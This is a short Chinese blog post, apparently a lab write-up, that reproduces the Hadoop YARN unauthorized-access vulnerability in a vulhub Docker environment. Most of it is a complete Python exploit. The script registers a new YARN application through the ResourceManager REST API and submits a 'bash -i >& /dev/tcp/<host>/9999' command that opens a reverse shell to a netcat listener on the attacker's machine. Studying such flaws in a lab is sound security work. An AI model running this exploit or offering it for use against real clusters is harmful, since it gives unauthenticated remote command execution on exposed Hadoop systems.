hadoop未授权访问漏洞复现

有一说一复现这玩意儿单纯只是想在hadoop开课前学会日hadoop，哦我这该死的强迫症(doge)

环境vulhub摆烂

cd vulhub/hadoop/unauthorized-yarn进入目录

docker-compose up -d开启环境

浏览器访问http://127.0.0.1:8088(环境默认映射到8088端口，也可以在docker-compose.yml里改)

确认环境正常后，kali开启监听nc -lvp 9999

然后就可以上exp了

#!/usr/bin/env python

import requests

target = 'http://127.0.0.1:8088/'
lhost = '192.168.0.1' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

成功反弹shell

有兴趣的大佬可以去了解一下漏洞原理，这玩意儿全英文看的我头皮发麻。。。
